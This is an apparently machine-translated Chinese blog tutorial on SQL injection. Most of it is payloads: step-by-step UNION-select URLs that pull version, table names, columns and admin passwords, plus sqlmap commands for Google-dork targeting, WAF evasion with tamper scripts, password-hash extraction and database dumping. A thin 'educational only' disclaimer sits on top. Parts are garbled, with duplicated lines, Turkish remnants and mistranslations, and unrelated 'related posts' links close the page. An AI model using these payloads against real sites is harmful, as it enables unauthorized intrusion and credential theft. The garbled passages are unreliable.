SQL超级详细的使用教程
SQL超级详细的使用教程
免责声明本篇文章仅用于教育,请不要在中华人民共和国境内使用本文章内容,出事与作者无关
1.SQL 漏洞
SQL 的概念字面意思是“结构化查询语言”。换句话说,存在查询-响应关系。例如,在社交媒体应用程序或电子商务网站中,您在注册时输入的用户名和密码将保存在数据库中,并且在您下次登录过程中,系统会尝试通过查询数据库来匹配您的用户名和密码组合。如果匹配,您可以输入,如果不匹配,则不能。因此,SQL 数据库使用请求-响应引擎。
1.1 什么是SQL漏洞?
正如我上面所说,数据库具有标准的语法类型,就像软件语言一样,并且某些系统漏洞的出现与编写这些数据库的软件开发人员所犯的逻辑错误一致。出现SQL漏洞的主要原因是,它不查询用户的请求,就向用户给出了相应的响应。不幸的是,无论对这个漏洞如何掉以轻心,在数据安全方面,它可能不会给公司带来好的结果。因为,由于 SQL 注入漏洞,您可以在没有 root 权限的情况下使用数据库定向所需的请求并获得所需的响应。
1.2 如何检测SQL漏洞?
这是一个在 SQL 注入站点 URL 中很明显的漏洞。当然,由于在这里分享这些网站是不道德的,如果我们 example-site.com 展示它们;
https://www.example-site.com/page.php?id=5
我们在末尾看到的“page.php?id=x”结构存在于所有SQL注入漏洞中。但是,并非所有具有此语句的系统都可能存在 SQL 漏洞。
我们正在谈论的这句话实际上是通往数据库的网关,为了做到这一点,我们需要逃离入口处的安全。这就是我们伪装的原因。此操作意味着使用引号 (') 转义字符串部分。此过程后将遇到的错误可能如下所示:
您的 SQL 语法有错误;检查与您的 MariaDB 服务器版本对应的手册,了解在第 1 行的“index.php?id=2”附近使用的正确语法
如果有这个错误,就存在SQL漏洞,我什至可以说以下内容;如果页面图像发生更改,则很有可能存在该漏洞。
1.3 如何利用SQL漏洞?
假设我们找到一个存在 SQL 漏洞的目标站点,有很多方法可以利用这个漏洞。使用一些工具(我稍后会讨论它)或手动。首先,让我们看看什么是手动 sql。
1.3.1 手动 SQL 利用
http://www.hedefitemiz.com/ product.php?id=4
http://www.hedefsitemiz.com/ product.php?id=4’ (We left quotation marks on the page, there is a sql deficit if there is an error, data loss, etc. on the page.)
http://www.hedefsitemiz.com/ÜRÜN.php?id=4’ order by 1 – - (Increment the “1” Number Next to the Order By Command until Error Gets) Let’s say we got the error at 5
http://www.hedefsitemiz.com/ product.php?id=-4’ union select 1,2,3,4 – - after doing this, let’s say the number 3 is reflected on the page, a number between 1 and 5 needs to be reflected on the page 3 Let’s say reflected
http://www.hedefitemiz.com/ product.php?id=4http://www.hedefsitemiz.com/ 产品.php?id=4
’ (我们在页面上留下了引号,如果页面上出现错误、数据丢失等,则存在 sql 赤字。
http://www.hedefsitemiz.com/ÜRÜN.php?id=4’ 顺序 1 – - (递增 Order By 命令旁边的“1”数字,直到出现错误) 假设我们在 5 http://www.hedefsitemiz.com/ 产品.php?id=-4’ 联合选择 1,2,3,4 – - 执行此操作后,假设数字 3 反映在页面上,需要反映在页面上 1 到 5
之间的数字 3 假设反映。
http://www.hedefsitemiz.com/product.php?id=-4’ union select 1,2,version(),4 – -
使用此代码,我们可以了解版本信息。
http://www.hedefsitemiz.com/product.php?id=-4’ union select 1,2,database(),4 – -
使用此代码,我们可以学习数据库名称。
如何找到表名?:
http://www.hedefsitemiz.com/product.php?id=-4’ union select 1,2, table_name,4 from information_schema.tables – -
让我们从这里找到管理表,假设表名是admin,我们如何从information_schema.列中拉出它
http://www.hedefsitemiz.com/product.php?id=-4’ union select 1,2, column_name,4 from information_schema.columns where table_name=admin – -
这样我们拉取管理表
每次输出用户名、密码、id时,我们如何拉取它们?
http://www.hedefsitemiz.com/ product.php?id=-4’ union select 1,2, password,4 from admin – -
您可以像这样获取密码,如果您删除密码并输入用户名,
您还可以拉取用户名部分。
1.3.2 使用 SQL 工具进行利用 这里的 SQL 工具
是指使利用 SQL 漏洞更容易的工具。例如 havij、sqlmap 等。
如果我们谈论 Havij 车辆,我不会详细介绍。无论如何,这是一个简单的工具。那些想详细阅读的人可以看看这个话题;
每个人都知道SQLMap工具。它是近年来最常用和最有效的工具之一。Sqlmap是一种使用python语言编写的黑客工具,利用数据库漏洞并转储数据库信息。
用法和参数
Sqlmap是一个非常简单有效的工具,适合初学者使用。让我们通过示例解释此工具中使用的一些参数来了解 sqlmap 的工作原理。
选项选项卡
-h /–help:这是我们打印简单帮助和使用功能的命令。
-hh:这是我们打印高级帮助和使用功能的命令。
-v:这是我们的详细命令,默认情况下定义为 1,我们指定它在 sqlmap 运行时向我们显示的输出的显示。它的范围从 0 到 6。0 返回最少的输出,而 6 返回最多的输出。
“目标”选项卡
这是我们的类别,其中包含用于选择目标所需的参数。必须至少选择一个。
-u, –url:如果我们没有对数据库的直接访问权限并且我们想尝试注入,这是我们可以使用的命令。
示例用法:
sqlmap -u “http://www.website.com/test.php?id=1”
-g:这是我们的命令,允许我们使用 Google dork 在具有特定模式的站点上执行测试。
示例用法:
sqlmap -g “.php?id=”
注入选项卡:
这是我们的类别,我们可以在其中进行调整,例如要测试的参数、个人有效负载定义和篡改脚本定义。
–dbms:为了帮助sqlmap,如果我们知道后端运行的数据库管理系统,我们可以用dbms定义它。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –dbms=“MySql”
–篡改:如果用户和后端数据库之间存在弱访问控制,则我们的参数用于通过 WAF 传递要注入的字符串。它将采用的参数来自 sqlmap 文件夹中的篡改文件夹。
示例用法:
sqlmap -u “www.siteadi.com/testet.php?id=1″ –tamper=”between”
–前缀:这是我们的参数,我们可以通过在有效负载前面添加我们想要的值来进一步自定义要测试的参数。
示例用法:
sqlmap -u “www.siteadi.com/testet.php?ad=test” –prefix “‘)”
枚举选项卡:
这是我们的类别,其中包含我们将用于通知数据库管理系统的参数。它用于提取表中的数据并获取信息。
–all:这是同时执行所有参数的命令。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –all
–users:这是我们可以用来列出数据库管理系统用户的参数。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –users
–passwords:如果当前用户有权读取系统表,它可以帮助我们散列密码。对于此操作,Sqlmap 首先拉取用户。然后它尝试拉取传递哈希。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –
–dbs:如果当前用户有权读取系统表,则我们的参数是检索数据库名称。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –dbs
–tables:如果当前用户有权读取系统表,则我们的参数允许我们提取所选数据库中的所有表。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –tables
sqlmap -u “www.sitename.com/testet.php?id=1” -D databasename –tables:如果当前用户有权读取系统表,则我们的参数允许我们从所选数据库中的选定表
中提取所有列。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –columns sqlmap -u “www.sitename.com/testet.php?id=1” -D databaseName -T tableName –columns
–dump:如果我们想转储数据库或表的内容,可以使用这个参数。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” -D databaseName -T tableName –dump注意使用–dump已经触犯法律
SQL超级详细的使用教程相关推荐
- pytorch超级详细的安装教程
pytorch超级详细的安装教程 第一次安装的时候安装了差不多有一整天,还安装失败了.这次安装的速度很快. 首先是Anaconda的下载,我用的是上学期学python的时候老师之前给的安装包,很快就安 ...
- flex布局超级详细的完整教程(看完印象深刻)
flex布局超级详细教程 文章目录 flex布局超级详细教程 flex 布局父项常见属性 ①.flex-direction:设置主轴的方向 ②. justify-content:主轴上的子元素排列方式 ...
- 使用 Github Pages 和 Hexo 搭建自己的独立博客【超级详细的小白教程】
欢迎关注我的专栏:<个人博客搭建:Hexo+Github Pages>,从搭建到美化一条龙,帮你解决 Hexo 常见问题! 推荐阅读:<Hexo 博客优化之博客美化系列(持续更新)& ...
- 【超级详细的小白教程】Hexo 搭建自己的博客
– 前言 这是一篇有关如何使用 Github Pages 和 Hexo 搭建属于自己独立博客的详尽教程,本人是软件工程专业本科生,目前只学习了C和C++编程语言,对网站开发的有关知识几乎为零,这也是我 ...
- 使用Github Pages和Hexo搭建自己的独立博客【超级详细的小白教程】
文章目录 ● 前言 ● 入门 ● 安装 Node.js ● 安装 Git • 检验Git是否安装成功 ● 安装Hexo • Hexo 初始化配置 ● 本地查看效果 ● 将博客部署到 Github Pa ...
- Windows10重装、安装 超级详细、小白教程 官方正版安装
Windows到现在可以看到每一个版本都在安装上进行了一定简化,尤其是对于目前使用率很高的win10,接下来将非常详细的讲述Windows10官方正版安装教程 1.下载官方的系统盘制作程序,这个程序太 ...
- sqlhelper 的使用 (C#)超级详细的入门教程
sql helper 的使用 (C#)小白教程 提到CRUD,很多刚入门的小白总是来一条写一条连接,先建立连接connection 打开连接 open 来查询query 最后别忘了关闭连接 close ...
- ubuntu安装、使用docker超级详细的入门教程
docker安装 查看官网(https://docs.docker.com/get-docker),根据系统版本安装. 删除老版本 sudo apt-get remove docker docker- ...
- 什么?你还不会Redis?超级详细最新Redis教程
文章目录 NoSQL的特点 NoSQL的四大分类 Redis入门 概述 Linux安装 测试性能 基础知识 五大数据类型 Redis-Key String(字符串) List(列表) Set(集合) ...
最新文章
- 连续地址数据(数组或者malloc的内存)作为函数参数
- Spring Boot使用maven打包成jar后将依赖jar一起打进jar文件
- python变量作用域 for_python变量作用域
- 猜1-10的数字python脚本
- 欧亚马 java折叠车_如何选择欧亚马折叠车?
- Visual Studio 2013 中使用断点
- 编程实现strcpy函数
- JDK API 下载
- Windows PE (老毛桃) 介绍功能介绍
- c++编译报错:ld returned 1 exit status
- JPA与Hibernate的区别
- python跨平台是什么意思_跨平台是什么意思?通俗深刻的解释
- 推荐一款开源跨平台 [业务大屏,数据报表] 快速开发平台
- jupyterLab 如何修改字体大小
- could not load library cudnn_ops_infer64_8.dll. Error code 126
- 基于对象的软件定义存储——联想 NetApp DXL系列对象存储方案
- CCIE知识点总结——三层技术
- 大二寒假生活与学习草记
- 曾经火遍全国的百度贴吧,彻底凉了...
- 各省三废排放量和利用熵值法计算环境规制综合指数(1997-2019年)